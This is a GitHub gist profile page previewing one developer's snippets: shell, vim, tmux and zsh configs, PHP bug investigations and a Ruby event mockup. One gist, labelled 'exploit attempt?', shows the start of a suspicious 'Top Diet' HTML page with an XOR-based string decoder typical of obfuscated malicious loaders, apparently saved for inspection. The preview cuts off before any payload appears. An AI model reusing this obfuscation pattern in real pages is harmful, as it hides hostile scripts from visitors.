Skip to content

Instantly share code, notes, and snippets.

View binarycleric's full-sized avatar
💢

Jon Daniel binarycleric

💢
View GitHub Profile
@binarycleric
binarycleric / event_mockup.rb
Created September 5, 2012 14:35
Event Class Mockup. Events are meant to be self-contained actions who only send and receive plain old ruby objects. An event can be used anywhere.
class SomeController < ApplicationController
def update
handle_response SomeEvent::Update.new(params).invoke
end
private
##
# Performs some default action on the response. Probably just returns the
@binarycleric
binarycleric / gist:3782510
Created September 25, 2012 15:11
Git branch in prompt
function parse_git_branch {
ref=$(git symbolic-ref HEAD 2> /dev/null) || return
echo "("${ref#refs/heads/}") "
}
white='\[\e[37;1m\]'
green='\[\e[32;1m\]'
blue='\[\e[34;1m\]'
red='\[\e[31;1m\]'
nocolour='\[\e[0m\]'
et guifont=Consolas:h18
set textwidth=80
set tabstop=2
set shiftwidth=2
set expandtab
set spell
set nocompatible
filetype off
@binarycleric
binarycleric / gist:3880369
Created October 12, 2012 17:26
PHP Bug #55021 Investigation
<?php
/*
* I looked into this for a bit and I must say I was a bit confused
* until the answer smacked me in the face.
*
* The 'fn3' isn't doing what you think it's doing. Upon glancing at
* the code it may appear that $this->a['first'] is having the value
* 'foo' appended to it (which doesn't make sense because
* $this->a['first'] is a string, not an array).
@binarycleric
binarycleric / gist:3880379
Created October 12, 2012 17:27
PHP Bug #55247 Investigation
<?php
class Test{
public static function __callStatic($method, $arguments)
{
echo $method . PHP_EOL;
}
public function __call($method, $arguments)
{
echo $method . PHP_EOL;
}
@binarycleric
binarycleric / gist:3908062
Created October 17, 2012 20:45
tmux config (October 2012)
# screw the mouse
set-window-option -g mode-mouse off
# scrollback history
set -g history-limit 5000
# "I' == current window index
# 'H' == Hostname
# 'F' == current window flag
# 'P' == current pane index
@binarycleric
binarycleric / gist:3908169
Created October 17, 2012 21:03
ZSH Config
# Path to your oh-my-zsh configuration.
ZSH=$HOME/.oh-my-zsh
# Set name of the theme to load.
# Look in ~/.oh-my-zsh/themes/
# Optionally, if you set this to "random", it'll load a random theme each
# time that oh-my-zsh is loaded.
ZSH_THEME="derp"
# Example aliases
@binarycleric
binarycleric / gist:4567731
Last active December 11, 2015 07:38
exploit attempt?
<!DOCTYPE HTML>
<html>
<head>
<title>Top Diet</title>
<script>
function aobi6q(s) {
var key=96;
var str = decodeURIComponent(s);
var xored = "";

Ruby, RVM and Mountain Lion

Key problems

Mountain Lion (10.8) has three main difference compared to Lion (10.7):

  • XCode 4.4 does not install Command Line Tools by default
  • X11 isn't available anymore
  • The installed version of OpenSSL has some bugs

How to work around

(function(e) {
"use strict";
function t() {
this.data = {}
}
function n() {
this.listeners = new t
}
function r(e) {